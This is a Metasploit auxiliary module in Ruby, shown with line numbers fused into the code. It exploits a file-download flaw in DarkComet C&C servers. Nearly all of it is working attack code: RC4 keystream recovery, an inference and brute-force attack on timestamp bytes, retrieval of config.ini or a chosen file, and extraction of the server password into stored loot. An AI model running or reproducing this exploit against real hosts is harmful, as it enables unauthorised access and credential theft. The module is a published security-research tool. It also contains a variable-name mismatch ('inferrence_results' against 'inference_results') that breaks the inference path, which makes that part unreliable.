Path: blob/master/modules/auxiliary/gather/darkcomet_filedownloader.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'DarkComet Server Remote File Download Exploit',14'Description' => %q{15This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.16The exploit does not need to know the password chosen for the bot/server communication.17},18'License' => MSF_LICENSE,19'Author' => [20'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery21'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack22],23'References' => [24[ 'URL', 'https://www.nccgroup.com/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],25[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]26],27'DisclosureDate' => '2012-10-08',28'Platform' => 'win',29'Notes' => {30'Reliability' => UNKNOWN_RELIABILITY,31'Stability' => UNKNOWN_STABILITY,32'SideEffects' => UNKNOWN_SIDE_EFFECTS33}34)35)3637register_options(38[39Opt::RPORT(1604),40Opt::RHOST('0.0.0.0'),4142OptAddressLocal.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),43OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),44OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),45OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),46OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),47OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])4849]50)51end5253# Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext54def xor_strings(s1, s2)55s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')56end5758def get_keystream(ciphertext, known_plaintext)59c = [ciphertext].pack('H*')60if known_plaintext.length > c.length61return xor_strings(c, known_plaintext[0, c.length])62elsif c.length > known_plaintext.length63return xor_strings(c[0, known_plaintext.length], known_plaintext)64else65return xor_strings(c, known_plaintext)66end67end6869def use_keystream(plaintext, keystream)70if keystream.length > plaintext.length71return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase72else73return xor_strings(plaintext, keystream).unpack('H*')[0].upcase74end75end7677# Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)78# since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength79def rc4_initialize(key)80@q1 = 081@q2 = 082@key = []83key.each_byte { |elem| @key << elem } while @key.size < 25684@key.slice!(256..@key.size - 1) if @key.size >= 25685@s = (0..255).to_a86j = 0870.upto(255) do |i|88j = (j + @s[i] + @key[i]) % 25689@s[i], @s[j] = @s[j], @s[i]90end91end9293def rc4_keystream94@q1 = (@q1 + 1) % 25695@q2 = (@q2 + @s[@q1]) % 25696@s[@q1], @s[@q2] = @s[@q2], @s[@q1]97@s[(@s[@q1] + @s[@q2]) % 256]98end99100def rc4_process(text)101text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join102end103104def dc_encryptpacket(plaintext, key)105rc4_initialize(key)106rc4_process(plaintext).unpack('H*')[0].upcase107end108109# Try to execute the exploit110def try_exploit(exploit_string, keystream, bruting)111connect112idtype_msg = sock.get_once(12)113114if idtype_msg.length != 12115disconnect116return nil117end118119if datastore['KEY'] != ''120exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])121else122# If we don't have a key we need enough keystream123if keystream.nil?124disconnect125return nil126end127128if keystream.length < exploit_string.length129disconnect130return nil131end132133exploit_msg = use_keystream(exploit_string, keystream)134end135136sock.put(exploit_msg)137138if bruting139begin140ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])141rescue Timeout::Error142disconnect143return nil144end145else146ack_msg = sock.get_once(3)147end148149if ack_msg != "\x41\x00\x43"150disconnect151return nil152# Different protocol structure for versions >= 5.1153elsif datastore['NEWVERSION'] == true154if bruting155begin156filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i157rescue Timeout::Error158disconnect159return nil160end161else162filelen = sock.get_once(10).to_i163end164if filelen == 0165disconnect166return nil167end168169if datastore['KEY'] != ''170a_msg = dc_encryptpacket('A', datastore['KEY'])171else172a_msg = use_keystream('A', keystream)173end174175sock.put(a_msg)176177if bruting178begin179filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])180rescue Timeout::Error181disconnect182return nil183end184else185filedata = sock.get_once(filelen)186end187188if filedata.length != filelen189disconnect190return nil191end192193sock.put(a_msg)194disconnect195return filedata196else197filedata = ''198199if bruting200begin201msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])202rescue Timeout::Error203disconnect204return nil205end206else207msg = sock.get_once(1024)208end209210while (!msg.nil?) && (msg != '')211filedata += msg212if bruting213begin214msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])215rescue Timeout::Error216break217end218else219msg = sock.get_once(1024)220end221end222223disconnect224225if filedata == ''226return nil227else228return filedata229end230end231end232233# Fetch a GetSIN response from C2 server234def fetch_getsin235connect236idtype_msg = sock.get_once(12)237238if idtype_msg.length != 12239disconnect240return nil241end242243keystream = get_keystream(idtype_msg, 'IDTYPE')244server_msg = use_keystream('SERVER', keystream)245sock.put(server_msg)246247getsin_msg = sock.get_once(1024)248disconnect249getsin_msg250end251252# Carry out the crypto attack when we don't have a key253def crypto_attack(exploit_string)254getsin_msg = fetch_getsin255if getsin_msg.nil?256return nil257end258259getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'260keystream = get_keystream(getsin_msg, getsin_kp)261262if keystream.length < exploit_string.length263missing_bytecount = exploit_string.length - keystream.length264265print_status("Missing #{missing_bytecount} bytes of keystream ...")266267inferrence_segment = ''268brute_max = 4269270if missing_bytecount > brute_max271print_status("Using inference attack ...")272273# Offsets to monitor for changes274target_offset_range = []275for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)276target_offset_range << i277end278279# Store inference results280inference_results = {}281282# As long as we haven't fully recovered all offsets through inference283# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]284getsin_observation = [''] * 4285buffer_head = 0286287for i in 0..2288getsin_observation[i] = [fetch_getsin].pack('H*')289Rex.sleep(0.5)290end291292buffer_tail = 3293294# Actual inference attack happens here295while !target_offset_range.empty?296getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')297Rex.sleep(0.5)298299# We check if we spot a change within a position between two consecutive items within our circular buffer300# (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0301target_offset_range.each do |x|302index = buffer_head303304while index != buffer_tail do305next_index = (index + 1) % 4306307# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same308# observations as well while being constant in at least one previous or subsequent observation309if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))310target_offset_range.delete(x)311inference_results[x] = xor_strings(getsin_observation[index][x], '9')312break313end314index = next_index315end316end317318# Update circular buffer head & tail319buffer_tail = (buffer_tail + 1) % 4320# Move head to right once tail wraps around, discarding oldest item in circular buffer321if buffer_tail == buffer_head322buffer_head = (buffer_head + 1) % 4323end324end325326# Inference attack done, reconstruct final keystream segment327inf_seg = ["\x00"] * (keystream.length + missing_bytecount)328inferrence_results.each do |x, val|329inf_seg[x] = val330end331332inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join333missing_bytecount = brute_max334end335336if missing_bytecount > brute_max337print_status("Improper keystream recovery ...")338return nil339end340341print_status("Initiating brute force ...")342343# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)344charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']345char_range = missing_bytecount.times.map { charset }346char_range.first.product(*char_range[1..-1]) do |x|347p = x.join348candidate_plaintext = getsin_kp + p349candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment350filedata = try_exploit(exploit_string, candidate_keystream, true)351352if !filedata.nil?353return filedata354end355end356return nil357end358359try_exploit(exploit_string, keystream, false)360end361362def parse_password(filedata)363filedata.each_line { |line|364elem = line.strip.split('=')365if elem.length >= 1366if elem[0] == 'PASSWD'367if elem.length == 2368return elem[1]369else370return ''371end372end373end374}375return nil376end377378def run379# Determine exploit string380if datastore['NEWVERSION'] == true381if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')382exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'383else384exploit_string = 'QUICKUP1|config.ini|'385end386elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')387exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'388else389exploit_string = 'UPLOADconfig.ini|1|1|'390end391392# Run exploit393if datastore['KEY'] != ''394filedata = try_exploit(exploit_string, nil, false)395else396filedata = crypto_attack(exploit_string)397end398399# Harvest interesting credentials, store loot400if !filedata.nil?401# Automatically try to extract password from config.ini if we haven't set a key yet402if datastore['KEY'] == ''403password = parse_password(filedata)404if password.nil?405print_status("Could not find password in config.ini ...")406elsif password == ''407print_status("C2 server uses empty password!")408else409print_status("C2 server uses password [#{password}]")410end411end412413# Store to loot414if datastore['STORE_LOOT'] == true415print_status("Storing data to loot...")416if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')417store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")418else419store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")420end421else422print_status(filedata.to_s)423end424else425print_error("Attack failed or empty config file encountered ...")426end427end428end429430431